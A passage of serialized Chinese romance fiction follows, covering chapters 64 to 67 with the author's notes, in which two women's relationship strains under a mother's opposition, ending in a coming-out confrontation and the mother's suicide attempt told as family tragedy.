“还去吗?”简越蹲身,摸摸林筝墨的头发,“你还想去吗?” 林筝墨鼻尖泛着红,稍微顿了两秒,才点头,“嗯,去。” “真的想去吗?”简越叹了口气,她看出林筝墨状态不佳,不想强迫她,“实在不行,我们掉头回家也可以。” 林筝墨难过地摇头,“可是我们什么都准备好了。” “你状态不好,就不要强撑了。” 简越当然是懂林筝墨的。 诚然,林筝墨已经完全没有游玩的心情,但如果要她假装应付一下,她也可以伪装下去,但简越不需要这种伪装。 刚刚发生的事情,足以击破她们之间的关系,稍有不慎,可能万劫不复,简越不敢懈怠。 再看林筝墨,明显还惊魂未定。 林筝墨还在想,先前周京芳说的事情。 如果一意孤行和简越出去旅游,半个月后回来是什么情况她完全不知,事到如今,一切都已经失控了。于情于理,她都应该放弃这段旅行。可是,心里又很愧疚,出发前她们做了多少准备,简越辛辛苦苦做的完美攻略在这一刻付之一炬,她和她谈恋爱,连最基本的都给不到,这对简越来说真的公平吗? 真的公平吗? 林筝墨不止一次觉得自己很差劲。 每每产生这样的想法,便有种浓厚的不配得感,再想往后,她可能有好多好多瞬间要让简越失望了。 深知,简越迁就她,全凭爱,可她不觉得任何恋人有义务要忍受她的家庭,要和她共同来承担这些压力。从前从前,她总以为自己可以把简越藏得很好,这样她们也不用来面对这些,事实证明,是自己过于天真,瞒天之计不过是黄粱一梦,非常可笑。 总是要面对的。 简越可以给她的很多,可是她能反馈的却很少。这种爱情能量失衡,对林筝墨来说是一种莫大的愧疚和折磨。 她真的害怕感情会消耗,待到那时,连现在的瞬间也握不住了。 “在想什么?”简越握紧她的手,来回摩挲着,“今天的事情很糟糕,所以你有什么事情都告诉我好吗?” “我是不是没有资格和你谈恋爱?”林筝墨鼻腔小声吸着,声线哽咽。 “因为阿姨吗?”简越蹙眉,“还是因为一次旅行泡汤,牵扯到我们的感情上来。”她耐着性子与她解释,开解道:“现在已经是最坏的情况,你不知道怎么办也是正常的,不要折磨自己,不要折磨自己。” 简越恨不得替林筝墨承受这些,可一个人要如何承载另一个人的痛苦,显然是苍白无力的。 “可事实就是,我妈接受不了我们一起。” 简越愣了一下,情理之中,但说出来为什么还是这么难过。 心口像被剜了一刀那么难受,可她不能哭,那样林筝墨会更愧疚的。 “所以你要离开我吗?要和我分开吗?” 林筝墨忽的抬头,紧紧抓着简越的手腕,眼泪啪嗒两条线,无法抑制地顺着苍白的脸颊而流,她摇头,不可能和简越分开。 “那你爱我吗?” 林筝墨点头。 “不管发生什么,我们都一起面对好不好?”简越的顽强坚韧在这一刻体现得淋漓尽致,她对林筝墨说:“难道就真的那么难吗?一个月,两个月,一年,两年,十年,我不信时间不能改变阿姨对我的看法,我早就说过,我做好准备,我不害怕。” 她越是坚定林筝墨越是害怕。 怕过分的期望来带的结果总是令人失望,她怕简越的坚定衬托得自己更加怯懦胆小,更加不值得托付一生,她害怕,害怕未来的自己某一个时刻做出错误的抉择。 最深的恐惧是害怕失去对自我的操控力,而现在已经有失控的趋势了。 林筝墨眨眨眼,发现天已亮了,初晨的太阳挂在高空,日光灼灼,一长片的、像熟透蟹壳一样的橘色填满整个天空,像皮肤要滴出来的血,头顶的枝丫是结痂的伤疤。 疲惫而肿胀的眼睛凝视着这一切,她的心情前所未有的空茫,惆怅。 天空一架飞机飞过,消失在云层,好像从未存在过。 她问简越:“不能值机了是吗?” “嗯,过时间了。” “对不起。”林筝墨起身,推了推沉甸甸的行李箱,明明还没日行千里,已是疲惫至极,“那我们……去哪里?” 简越释出一口气,跟着起身,拿出湿纸巾替林筝墨擦擦脸,“别伤心了,眼泪擦擦,别内疚,没什么大不了的,看要不要去近一点的地方散散心吧。”—— 作者有话说:谁懂一边锤柠檬一边更新[彩虹屁] 第65章 第六十五章 脱了,洗 :) 第六十五章 飞往E国的飞机冲上天空, 步入云霄,直至消失不见。手机反复发来提醒的消息,最终以退票终结了这次旅行。 简越试图挽救林筝墨的情绪,她说带她去隔壁城市玩。 可这种体贴, 反倒让林筝墨更加愧疚了, 她有种强烈的不配得感。 “就不去了。” “也可以。”简越开始打车, “那我们回家。” 那日之后,林筝墨陷入了一种低迷的状态。周京芳并没有联络她, 这种沉默是一剂慢性毒药, 遍布全身,看似人还是好好的,但五脏六腑都痛苦到溃烂了。 夏天开始下雨, 连日不断的雨,下到整座城市肿胀流脓,迷迷濛濛, 连阳台的衣服也很潮潮润润的。 某天下午,简越出门了, 林筝墨站在阳台, 盯着简越养的文竹发呆, 发现瓶子里的植物根系烂掉了,玻璃瓶里积着一层浑浊的白色的水, 弥漫着一股臭味, 应该是简越一周没给它换水了。 这很不简越, 简越从前都把它们照顾得好好的。 林筝墨这才意识到,简越情绪好像也受到了影响。 她给她打电话。 雨拍打着窗台,噼里啪啦,野蛮地侵蚀着阳台的栏杆。 “你去哪了?” “和你说过啦, 我找我妈。” “喔。”林筝墨揉揉眉心,沉默半晌,“你还好吗?” 简越大致也沉默了两秒,笑着说:“我很好啊,晚上吃什么?我买菜回来。” “都可以。”林筝墨喉咙哽咽着,强撑着嗓音:“你早点回家。” “好,六点就回来。” 她便挂断电话了。 南城的雨下起来毫不留情,像是十八岁少女第一次失恋时哭得那般猛烈,街道积水,车轮哗的一声,能掀起两米高。 简越的车停在福利院门口,孤身跑进雨幕里。年轻的孩子总叫她姐姐,一群一群嚷嚷着,她把手里的食物递给她们,笑容冻在嘴边,与她们几句寒暄。 院长梁容心站在一旁慈祥地看着她,候了一会儿,才与她闲聊起来。 “下这么大的雨,怎么突然想到过来?” 简越含糊着:“就过来看看。” 梁容心替她擦了擦肩上的水,心领神会道:“给你倒杯热水,我们上楼坐坐。” 简越颔首。 福利院二楼到四楼都是宿舍,五楼是一个大平层阳台,出太阳的时候,这里晒一些棉被和衣服,傍晚时分,女孩儿们会在这里跳绳。 下雨的时候,空荡荡的露台上,只有几株铁树在风中摇曳,简越小时候喜欢坐在这里发呆,阳台晾衣服的绳子从左边拉到右边,绷得那么直,她觉得有点像二胡上的弦,总想上去拽一下。 雨太大了。 她和院长搬了张凳子在遮棚里坐下,两人观雨,不语。 看雨弹落地,世界轰鸣,忽觉得心情空落落,这种空浮,已经持续一周之久,始于机场那天。 “你怎么了?”院长问她。 “没。” 梁容心不说话,只是默默陪着简越,她是了解简越的,但她看破不说破。 暴雨没有减弱的趋势,哗噪到极点的时候,简越忽然开口:“我小时候是不是很爱哭?” “是啊,一下雨就哭,一下雨就哭,全院最闹腾的就是你了。”梁容心又笑:“那时候你煽动力又大,你一哭,全院的女娃子都跟着哭,煮饭的张阿姨总是打趣,又领大合唱了。” 她小时候是敏感爱流泪的小女孩,雨天让她没有安全感,倒是长大过后,不怎么习惯掉眼泪了。 “后来嘛,凶了你几次,就躲在被窝里偷偷哭嘛,害怕哭太大声,我们不要你嘛。”揽着简越的肩膀,轻轻拍打着:“好多好多年以前的事了啊。” “你们在哪里捡到我的?”简越忽然好奇这个问题:“从我有记忆开始,就在这里了。” 梁容心敛眉细思,“冬天,被抱到门口来的,又下雨,冷又湿,早上起来发现你快冻僵了,嘴唇紫青紫青的,一双眼睛直咕咕地看着我们,可怜兮兮的,我们赶紧给你换衣服,喂了奶粉过了好久才缓过来。” 这些事简越都记不得了。 但梁容心记得,她算是简越的第一个妈妈。她知道简越小时候为什么一到下雨天就哭。 因为没有安全感,福利院的小孩大多如此,被抛弃是刻在潜意识里的东西,更何况是简越这样敏感的人。 “所以今天怎么了?”梁容心侧目望向简越,不知道是不是下雨的缘故,总觉得简越情绪也湿漉漉的。 “就想回来坐坐。” “没遇到什么事吧?” “没有。”简越看着阳台的积水,雨声揉进耳朵里,噪点让她难过,“可能也有。” “说来听听。” “我感觉自己又要被抛弃了。” 雨下得更大了,世界变得雾蒙蒙的,是一片空寂的白。四楼的女孩儿们在打闹,楼道传来嘻嘻哈哈的声音。 简越低声对梁容心说了句什么,依偎在她怀里,肩膀开始小幅度颤抖。 仿佛又回到了很多很多年前。 小时候以为,下雨天约等于老天爷在哭,老天权威,它哭了小孩儿才能跟着哭,所以一趟情绪要憋闷好久,直到某一天开始下雨 * 整个下午,林筝墨难捱极了。她抱着泡泡躺在沙发上,盯着天花板发呆,进行着无意义的浪费时间。 雨下得麻木了,开始幻想窗外还是蓝天。 四点、五点、五点半 林筝墨反复察看手机,没有简越的消息,但相亲相爱的一家人有林鸿的视频分享。 她不敢点进去,害怕看见周京芳的头像。她是个逃兵,机场见面之后到今天,已是第九日。 这九天,她相安无事地和简越相处着,假装自己能妥善处理这件事,假装时间是停滞的,可这种逃避没有意义,有些事情终究是要面对的。 六点。 简越说她六点回家。 半小时,三十分钟,一千八百秒,秒针每行走一次,就在林筝墨的皮肤上扎一下,她已经千疮百孔了。 六点,锁芯发出咔哒声,林筝墨往玄关一看,发现简越湿漉漉的回来,她手里还提着一个塑料袋,里面是买的菜。 “天啊,怎么不打伞!”林筝墨唰的一下起身,奔到卫生间去拿干毛巾,又过来替简越擦起来。 软毛巾擦过简越的脸颊,又掠过她的身体,最终落在头发上。 简越却还对着林筝墨笑:“忘带伞了,停车场跑回来,一小段路,淋湿成这样。” 林筝墨心疼,一双手隔着毛巾捂住简越的耳朵,来回摩挲着,忽然看见简越嘴唇淋雨到泛白,心头倏然一揪,她迅速抱住简越,想把身体的温度传递给她,“你怎么这么笨!” 她抱简越的时候,忽然觉得简越好像瘦了,她明明是和她待在一起的人,却毫无察觉。 也许她们都被关在各自笼子里,什么都看不清了吧。 “没事儿。”简越从林筝墨怀里退开,不让林筝墨沾到水,接过毛巾,胡乱擦了一下头发。 林筝墨接过菜,搁柜子上,蹲身,要帮简越换鞋。 “鞋好脏,我自己来。”简越后背靠着门,无路可退。 “我来。”林筝墨手指捻着她沾了泥的鞋带,替她解开。 袜子也湿了,裤子也湿透了,肯定不是走停车那么一小段路,她那么仔细一个人,不可能不带伞,不带伞意味着不在状态,为什么不在状态,林筝墨鼻子倏然一酸。 阳台的文竹快闷死了。 鞋脏了。 袜子湿了。 都怪我。 我还是伤害了简越。 我明明什么都还没说,简越好像什么都预料到了。 老天啊,为什么这么残忍,我们心情都差成这样,我们都不知所措成这样,你还要整日整日的下雨,太阳什么时候如此吝啬,难道阳光只配给快乐的人。 她酸着鼻,替简越脱掉鞋,裤脚的泥泞沾在手指上,手指脏了,又把手上的泥在裙子上擦了一下,白色裙子染了几点泥浆色,才用干净的手去握简越的脚。 “穿。”林筝墨抬眼,视线和简越对上,“你去洗澡,我把干净衣服给你拿过来。” “好。”简越迈出去两步,忽的回头看林筝墨,“菜呢?” “你不管,今晚我做饭。”林筝墨说。 “我没事。”简越同她解释:“就是去了妈妈那里,伞的确忘带了,你别担心我,我下次不淋雨。” “嗯。”林筝墨转过身去,将塑料袋打开,挑着里面的菜,一件一件数着,故意用轻快的语气说:“你怎么全买的都是我喜欢吃的呀。” 简越看着她的背影,长发落在肩后,秀美纤丽,她还是她的林筝墨。 她们原本该有很多话要说,关于现实的那些话,但默契的谁也没说。 “不然呢。”简越注视着林筝墨的背影,缄默片刻,朝林筝墨走去,不顾身上湿哒哒,从身后去抱她。 拥抱林筝墨就像抱一只受伤的小鸟,她常常带有那种孱弱感,她的肩膀是最明显的宣泄口,下巴靠在上面时,熨烫过她的皮肤,会感受到她的悲伤。 简越抱她的时候,她不回头,只是肩角轻轻推了推,“你去洗澡。” 可为什么声音带着哭腔。 “怎么了?”简越小心翼翼吻她的耳朵,“和我说说。” 林筝墨捏着一把芹菜,指甲扣进菜茎里,留下一个浅浅的印记,好看的唇抿成一条线,眼眶却泛红,晶莹的泪像一条线,啪嗒,掉在地板上。 “我有点难过。” “是因为我?” “每天下雨,阳台的文竹也快死了,你不给它换水,你不管它了。”好像这些都是无意义的话,却是她忧心的点,“你不在状态,不照顾自己,淋雨,我不开心,整个下午我一个人在家,泡泡又怎么都睡不醒,我不开心。” “对不起。” “该说对不起的是我。” 简越轻轻揉着林筝墨的肩膀,将她掰过来,好面对面相视。 林筝墨哭着,满脸湿泪,眼睛红红像一只可怜的小兔子。 简越吻她的眼泪,在她耳边低声说:“是每天下雨,心情有点郁闷,淋了一场雨倒好些了,想洗个澡,做顿饭,我们慢慢吃,再慢慢睡觉。” 林筝墨听她说这些,心情才稍微回暖,软绵绵地靠在她怀里。 爱人的怀抱是唯一的慰藉,疗愈着死尸一样的皮肤。 “我很害怕,我妈的事的确影响到我们的状态,我怕你真的走掉。”林筝墨说到这个又想哭。 “林老师想得会不会太多,怎么也是你抛弃我,而不是我当负心女。” 说到林筝墨的伤心点上,听见小声的啜啜,委屈极了。 “我我才不会。”林筝墨死死抓住简越的衣袖,“我根本就” 根本就离不开你。 说不出口。 然后哭了。 越哭越厉害。 林筝墨也下雨了。 “我”她哭到一半,稀里哗啦在简越身上擦,“就心情好差。” “那我也带你去淋雨。” “不要,会感冒。” “那就一起吃感冒药。”简越拉着她,趁雨大,要带她撒疯,“反正衣服也湿了。” “我不想感冒。”林筝墨擦掉眼角的泪,“一起洗个澡吧。” 简越笑。 “好,四舍五入也算一种淋雨了。” 林筝墨开始解简越裤子的扣子,还要帮她脱上衣,一边进行一边说: “好冷。” “稍微。” “快一点点。”—— 作者有话说:虐吗?还好吧 我写这章的中间的时候先是哭了几张纸 但无大所谓 宝贝们 明晚八点准时更新[彩虹屁] 第66章 第六十六章 摔碎所有体面 第六十六章 洗澡。 浴室内, 林筝墨下巴靠在简越肩上,任由温水冲刷着,光洁的肩膀框在镜子里,细软的腰有水痕滑过, 那是简越的后背。 不想做l爱。 只想洗澡。 只想拥抱在一起, 感受一下彼此的温度也好。 林筝墨潮润的脸颊泛着一点红, 是热气熏蒸的,听花洒喷头发出的滋滋声, 指尖在头顶的泡沫摩擦, 唰哗唰哗,简越在帮她洗头发。 “舒服吗?” “嗯。”林筝墨阖着眼,心想简越是不是背着她在理发店上过班。 简越低声笑, 顺着头发揪了一点泡沫在手指上,往林筝墨脸上揉,白泡泡糊在林老师脸上, 有点像圣诞老人美女版。 “干嘛。”林筝墨睁开眼,去贴简越的脸, 滑腻的泡泡发出微小气泡噗呲爆裂的声音, 林筝墨看着镜子里的自己, 还有简越,忽然意识到她们居然如此亲密。 假设。 一种狂妄的假设。 如果世界上没有人来打搅她们, 那她们可以把这样稀疏平常的事情做一万遍, 并且乐此不疲, 可是,这样的瞬间还有多少次呢。 花洒冲掉泡沫,很快旋转到地漏里。 浴巾擦干身体,换上干净衣服。 外面天已黑了, 雨依旧在下,却是小了些。 准备做晚饭,厨房的灶火点燃,林筝墨负责沥青菜篮里的水,简越备料,起锅烧油。 沙发上,泡泡咻的一下跳下来,穿梭在两人腿间,尾巴扫来扫去。 “它好喜欢凑热闹。”林筝墨说。 简越低头看了眼白色毛绒绒,笑道:“你发现没有,只有我们两个人在厨房的时候,它才进来。” “嗯……好像是?”林筝墨洗好青菜开始洗手,认认真真洗,仔仔细细洗,洗秃噜皮。 油热了。 青菜扔进去的时候,锅里也在下大暴雨,淅沥哗啦的。 通常这时候,简越会让林筝墨后退一步,因为林筝墨怕油溅。 常常会出现一个场景: 林老师躲在简主任身后,埋在简越脖间,只露出一双眼睛,紧揪着简越肩膀,一面怕油,一面又要往锅里看。 “别看啦别看啦,炒个青菜而已。” “要看要看。” “等会儿油蹦你脸上。” 林筝墨和她皮:“我又不是厨师,要蹦也是蹦你。” “刚刚谁说今晚做饭的?” “我错了,我洗碗。” 待到锅里的油不溅了,林筝墨一双手臂圈着简越的腰,双手不安分地触摸着简越的小腹。 她对于简越的马甲线情有独钟,有时候夜里睡觉能摸到天亮,做的时候还要舔几下,发呆的时候要躺在上面,总之总之,它是她的好朋友。 “又摸,又摸。” “我不影响你做饭。”林筝墨掌心摩擦着,忽生出一个想法,贴在简越耳边说:“诶,你说,在厨房做是什么感觉?” “你确定这样说话不会影响我做饭吗?”简越的铲子就差敲在林筝墨脑袋上,“在厨房做,菜会翻掉!” “我不信。” 林筝墨右手帮她关掉火,忽然之间,手指顺着肚脐向下移 简越:“?” 啊—— 铲子从简越手上滑落。 她一双手忽然撑在台面上 要命。 * 青菜熟了。 简越也是。 十分钟后。 林筝墨一脸满足,手从裤缝里溜出来,继续洗手。 简大厨非常羞耻,她怎么会在做饭的时候纵容林筝墨,好几次手指撑在台面上,指节用力,关节凸出青白色,林筝墨就在身后贴着她,贴那么紧,夹着阳台外的雨声,说一些令人动情的话。 “林筝墨!”简越侧目看向罪魁祸首。 “嗯?”对方一脸无辜,“怎么了?” “下次做饭的时候不许做这个!” 林筝墨搓着指节,微微凝目,“那我做什么?” 她还有理了? 这女人。 人畜无害的样子,最生猛的就是她。 简越还没缓过来,稍稍有些腿软,指着锅里的青菜,“你你你开火热一下菜,我马上回来。” 得去冲个澡什么的 逃走的时候,听见林筝墨在笑。 简越:TAT 知人知面不知心! 苦哉! * 吃饭。 洗澡。 窝在沙发看电影。 相拥而眠。 倒也不会显得雨天过于漫长。 翌日便天晴了,阳台的文竹又换了新的水,简越说,剪剪根茎还能救过来,林筝墨伸了个懒腰,浑身筋骨也舒展开来。 在这样冗长而丰富的日子里,有时候她真的忘记了时间。 “今天周二。”身后,简越在帮泡泡梳猫毛,漫不经心道:“你回你妈那儿吃饭吗?” “回。” “好。” 林筝墨看着小猫和简越,觉得猫和人很搭调,都有一股子随性散漫。 “你带它去宠物店剪一下毛毛吧。” “我也觉得。”简越把猫悬在空中,笑意灿烂:“它胖了!起码三斤!” “哪有这么夸张?”林筝墨走过去捏猫。 捏着捏着,忽然捏到简越脸上,原本是跪在沙发上,林筝墨不知道怎么挪到简越腿间,跨坐着。 简越愣了一下,松开手心里的猫,泡泡溜走了。 阳光落在地板上,林筝墨秀美的发梢上,光线衬得她的肌肤更为白净,一双淡琥珀的瞳仁,好像能包容世间所有美好事物。 简越捏着她的下巴,缓缓靠近,吻在唇边,轻吐气息:“出太阳了。” “嗯”林筝墨感受着简越的气息,“你好香。” 简越唇角漾着笑,“要说多少遍。” 林筝墨双手向下压,简越循着那道力往下躺,直到靠在枕头上。 林筝墨坐在她身上,居高临下地看着她。 两人对望。 情绪在日光中涌流,晃荡。阳台弥漫着冷静的花香,在烦闷的夏日捎上一点清凉,光影下,影子交叠在一起,头发触摸着头发。 “那如果有一天我们真的要分开,会因为什么?”林筝墨忽然开口。 “怎么突然说这个。”简越直勾勾看着林筝墨,“在我这里,分开是抛弃的意思。” 她用的是「抛弃」,这个词足以让林筝墨深思。 “抛弃约等于我不爱你了。”林筝墨说:“可是我觉得我永远都不会不爱你。” “那你为什么觉得我们有一天会分开。” “我觉得好像、有可能、应该”那么多不确定的词,她弯腰躺在简越的怀抱里,低声说:“我是说如果呢。” 含含糊糊。 不清不楚。 日光落在她的眼睛上,她阖上眼,眼皮颤着光,她没有再继续那个话题,只是说:“睡个午觉吧。” * 下午林筝墨回家吃饭了。 她穿着简越的T恤,简越的袜子,她睡过头了,衣服忘了换。 心情居然诡异的平静。 到家,林鸿靠在沙发在看《瓦尔登湖》,林筝墨一直觉得那本书很无趣,周京芳则是坐在沙发上看电视。 以林鸿淡然的态度看来,周京芳是什么都没和他说过。 “我回来了。” 林鸿搁下书,手指扶了下鼻梁上的眼镜,“回来啦。” 周京芳没回头,没说话,保持着沙发上的躺姿,她像一尊雕像,凝固在诞生的那一刻了。 林筝墨颔首,换鞋,走到沙发旁边,坐在周京芳旁边。 “你妈在看红楼梦,看不腻,看一百遍。” 电视里正播放着黛玉葬花的剧情,那一集总带着点悲,林筝墨是爱红楼梦的,但她很少重温,她不喜欢过于悲情的故事,但周京芳好像恰恰与她相反。 有时候周京芳看入迷了,一个字也不吭,她的眼睛凝视着电视机,你会觉得她人还在这里,但魂已经飘走了。 她到底喜欢红楼的什么?林筝墨倒是好奇这个。 “京芳。”林鸿叫她两次,“京芳,墨墨回来了。” “我知道。”周京芳魂魄飞回来,略带疲惫地说:“我知道她回来了。” 她语气寡淡,甚至不看林筝墨一眼。 林鸿蹙了眉,没摸清状况,轻咳一声,“我去给你们盛碗绿豆汤。” 他起身走了。 像个陌生人。 哦,他之所以云淡风轻是因为他根本不关心,他是局外人,他不懂,他的角色只是一个僵硬的家庭身份,他只看他的《瓦尔登湖》,譬如周京芳最近情绪怎么样,他居然毫无察觉,他对她唯一的关心是——我给你盛碗难喝的绿豆汤。 “妈。”林筝墨摁了暂停播放,低声说:“你还好吗?” 她入座不过半分钟,已察觉到周京芳情绪低落,林鸿怎么做到半个下午察觉不到? “我还好。”周京芳收回视线,侧目去看林筝墨。 林筝墨忽然吓了一跳,几日未见,觉得周京芳已经变得很憔悴,她是极重保养的,但毕竟年过五十,眼角皱纹是有,但和前些日子神采奕奕的模样不同,眼眶略有凹陷,是明显没睡好的征兆。 妈妈的黑眼圈像小狗的项圈,紧紧卡在林筝墨的喉咙,她也跟着窒息了。 “你和她摊牌了吗?”周京芳向来是直接的,“半个月快到了。” “我”林筝墨无谓的挣扎:“我还在考虑中。” “考虑?”周京芳垂眸,“你是没把我的话放心上。” “不是的。” 也是的。 她压根没打算和简越分手。 “是的。”周京芳露出讥诮的笑,有种绝望到最后只能生硬发笑的感觉,“你和京田怎么那么像?连说话的语气都那么像。” 这种平静的对话大于激烈争吵带来的恐惧感。 林筝墨注视着周京芳的脸,忽然生出一种极度的悲鸣来,她有种强烈的预感,这绝对是暴风雨前的平静。 “妈,其实最近,我有在想,你能不能试着了解一下简越这个人?”林筝墨试图和解:“我和她在一起很快乐,很幸福,如果你对我的期望是,健康幸福的生活,那她已经合格了。” 林筝墨心脏突突直跳,要说出这话花了极大勇气,但还好,她比自己想象中冷静。 “不能。”周京芳一锤定音,“我想我已经表达得很清楚了,我不能接受,不能接受你喜欢女人,不能接受你走京田的路,你怪我固执也好,一意孤行也好,我给过你选择题了,你不要试图改变我的想法。” “就一定要这样吗?”林筝墨费解:“我在乎你,也在乎简越,你让我择其一,难道这对我来说不是一种伤害吗?” 厨房门口,林鸿端着两碗绿豆汤,愣在原地,他不敢相信自己听到了什么。 既已摊牌,那就摊牌到底。 周京芳看了林鸿一眼,望向林筝墨,放大了音量:“你是忘记你小姨怎么死了,她妈妈害死你小姨,现在你要让她害死我才心安吗?” 林筝墨真的很难过。 这些年来,这个家保持着宁和,从未恶语相向过,周京芳也从没说过这样伤人的话,什么生与死,让谁生,谁被害死,这样的话林筝墨根本承受不了。 明明说好是相亲相爱的一家人的。 现在怎么是恨了又恨。 那种恨意又袭上心头。 她恨周京芳! 她恨这种恨。 既要破罐子破摔,你摔,我摔全都摔。 “可我就是同性恋啊。” “闭嘴!”周京芳忍无可忍,怒火中烧,“你不许说这样的话!!” 偏要添一把火:“可我就是喜欢女人啊。” “墨墨!”一旁的林鸿忍不住插话:“不许胡说!” “你们不是很了解我吗?” 一股烦恶冲上心头,破碎吧,毁灭吧,玻璃罐迟早要碎的,伪装还要等到何时被击溃。关于这个家庭的平静、体面,这一切的一切,该被撕碎,该摊牌了。 “那你们知道吗?我高中开始就爱女人,我从来没有对男人产生任何兴趣,你们给我介绍的,我一个也不喜欢,再帅再优秀,我都提不起半点兴趣,我就是同性恋,你们觉得恶心也好,丢人也罢,这就是我。我每周二要回家,要当你们的乖乖女儿,要听谆谆教诲,我真的好累,我真的好累。”林筝墨忍不住泪失禁,她要哭,仗却还要接着打:“又怎样?我和女人谈恋爱又怎样?你妹妹当初遭受的一切,就理应当发生在我身上吗?三十年前的魔咒,就要像一个死胎一样寄住在我的身体里吗?这对我来说会不会有点不公平?你们到底知不知道!我活得像个小偷,像条狗,我的人生学会的第一个课题是躲藏,荒不荒谬,我要把我爱的人藏起来,那种感觉让我好痛苦你到底知不知道!” 她说到最后几乎到歇斯底里的地步。 声音回荡在整个空间,吓坏了绿豆粥。 《瓦尔登湖》里曾有一句话:不必为了别人的生活方式,舍弃自己的真实人生。 那句话现在瘫陷在沙发里,为什么没有人看到。 “林筝墨。”周京芳被女儿的一顿输出抽离了力气,“你只看到你的角色,你没有想过我,你的痛苦是痛苦,我的痛苦不是痛苦,你没有办法感同身受我,我对你也感到相当费解,再这样下去,我觉得自己快生病了,你也快疯了。” 周京芳是个体面人,文化人。 但时代背景让她有局限性。 这不是她的过错。 也许整件事的过错不在于谁,但她们都没有互通对方的钥匙,两代人的阻隔悬置于此,她虽是她的骨头,却无法彻底心意相通。 周京芳心凉了。 垂肩靠在沙发上,冷冰冰地说: “我不想再看到你了。” “你去谈你的恋爱吧。” 第67章 第六十七章 白色是妹妹皮肤的颜色 第六十七章 那日争吵过后, 林筝墨从家里逃走了,但没有想象中那般如释重负。 她开始整夜以泪洗面、失眠。常常半夜噩梦惊醒,要简越抱着她,哄着她, 才能继续入睡。 多年以来, 林筝墨好似一个被周京芳精心呵护的玻璃瓶, 周京芳亲手摔碎了她,现在玻璃碎片反过来把林筝墨扎得浑身是血。 十分诚恳地说, 和周京芳决裂的这段日子, 林筝墨过得很压抑,她终于知道为什么出柜那么难,因为亲情确实是横亘在骨子里的一座大山, 更何况她与周京芳不是没有感情。 她还是爱妈妈的。 可就算这般这般,她和简越也没想过分开。 直到7月30日。 又是半个月后。 暑期中旬。 林筝墨偶然发现,相亲相爱的一家人群聊变成了两个人, 周京芳退群了。 这在我们的传统关系里实在少见,年轻人和朋友闹矛盾, 退退群, 也无伤大雅, 但长辈其实是没有那个概念的,基本定义为一种反常。 那天, 林筝墨惴惴不安, 好几次点开林鸿的聊天框, 想问一句:妈怎么样了。 但怎么都迈不出那一步。 林筝墨莫名不安,心神不宁地坐在沙发上,握着手机,反反复复编辑, 始终发不出去,那种焦灼是装不出来的。 简越默默观察着她,得出一个结论:林筝墨并不快乐。 也许在这样烦闷的情绪里,人便容易去思考一些消极的东西,更何况这个人是你所爱的人,简越开始真正思考,这样下去,她们真的能幸福吗? 那时,简越正蹲在地上整理药箱,把一些即将过期的药品拿出来扔掉,她和林筝墨相隔不过几米之远,忽然听到林筝墨倒抽了一口凉气,摇摇晃晃站起身来,差点摔倒。 简越忙去扶她。 却瞥见林筝墨惊慌到极致的脸。 “妈出事了。” “什么?” “她”林筝墨痛到失声,“她自杀了。” 简越脑袋轰的一声,忽然觉得世界崩塌了,手心渗着冷汗,双脚几乎也是一软,但终是站住了,她强忍着恐惧,扶着林筝墨,接过她手里的手机,微信上是林鸿发来语音消息。 他带着哭腔: 【你妈跳江里了,刚捞上来,二医院,速来。】 林筝墨失措到极点,她不觉得周京芳是会做出这样事情的人,可事实是这件事发生了,的的确确发生了。那句“你这辈子别想见到我”灵了验,周京芳就是周京芳,不是张晓的妈妈,只会说些话来吓唬人。 天塌了。 林筝墨天真的塌了。 那瞬间,那种对周京芳的怨恨直接转嫁到自己身上,林筝墨成为最恨自己的人,她恨自己诞生这个世界,要产生爱,产生恨,产生这一系列令人作呕的情绪。 也许是难过到极致,第一次产生了厌恶人类的心态,她彻底迷失了。 简越是怎么安抚她,抱她上车的,她居然都不清楚了 * 医院走廊里,护士与护士小声说: “你知道是谁吗!!” “谁?” “护士长!!”那人匪夷所思,到了惊愕的地步,“她怎么会自寻短见?” “我去!”小护士蹙眉,“周姐不是退休了吗?这日子应该很滋润才是啊!发生了什么?” “我”那护士左右观察,确定没人才说:“这是一个秘密啊,你可不许外面说。” “我能和谁说?”她戳戳她的肩膀,着急得跺脚,“你快点讲!” “我老公不是精神科的吗?周姐前阵子来找他看过病。” “啊”那人眉头蹙紧了,“周姐不像啊。” “我也觉得不像,她本来也快更年期了,可能遇到一点事,加上有心结,重度抑郁。” “我的天,更年期抑郁症啊。”她擦了把汗,“可是她家庭不是挺美满幸福的吗?” 那护士也一脸费解,“这个你也知道,现在的人都关着门过日子,那到底是啥样我们也不清楚。” 小护士摇摇头,“那倒是。” “你别拿出去说啊!周姐以前挺照顾我的,说出去挺不好的。” “你把我当啥了!我和谁说去!” 那人承诺守口如瓶,但会不会往外讲,又是另一回事了 * 医院长廊弥漫着消毒水气味,白炽灯光让人浑身冰冷,唯一的色调是绿色的“安全通道”,但也冷森森的。 抢救室的红灯依旧亮着。 林鸿左右踱步,急得周身是汗,他那文质彬彬的镜片下,是一双噙着湿泪的眼睛。太可怕了,太突然了,太心惊胆战了,太 与京芳和和睦睦走过几十年,怎会想到有这样一天。 林鸿恍然,他对她的关心还是太少了,同一屋檐下,居然毫无察觉,他以为她只是心情不好,他心情也不好,他以为他们都在各自消化,但怎么也不会到这样的地步。 今天午后,他在房间里小憩。 睡梦中,迷迷糊糊听到关门的声音,客厅里电视机还放着红楼梦,依旧是黛玉葬花那一幕。 天气热了,蝉鸣是梦境的背景乐,才睡不久,忽然从梦中醒来,惊了一声冷汗,也不知道怎么回事,起身,在屋子里寻不到人,叫了几声京芳,没人应他。 他给她打电话。 不接。 他急得团团转。 忽然在餐桌上看到一张白纸。 上面写着: 我对不起京田,我去和她道歉。 林鸿汗毛竖立,夺门而出,烈阳高照,太阳光忽然杀到瞳孔里,嗅到一股绝望的气味,死神吊在上空,直勾勾盯着他,那些看似已逝的往事,如潮水般涌上心头。 她原来从没放下。 是的。 一定是了。 多年以来,周京芳从不与简桑见面,是有原因的,唯一一次情绪崩溃,是在诊所里扬言要给简越打针那次,但也是很多年前了。她们相隔不过两条街,却刻意保持着距离,她从不找她,直到胡婆婆葬礼那次。 真相只有一个—— 真正愧疚的人是周京芳。 即便她称,简桑是害死妹妹的杀人犯,可内心而言,周京芳背负着一种强烈的愧疚,这种愧疚埋在妹妹周京田的坟墓里,刻意不被掘起。 因为,很多年前,是因为周京芳的阻拦,周京田才夺门而出,后遭遇不测的。 周京芳虽把这种怨恨强加在简桑身上,可她对自身的愧疚是一点没少。 一点没少。 她最爱的就是小妹。 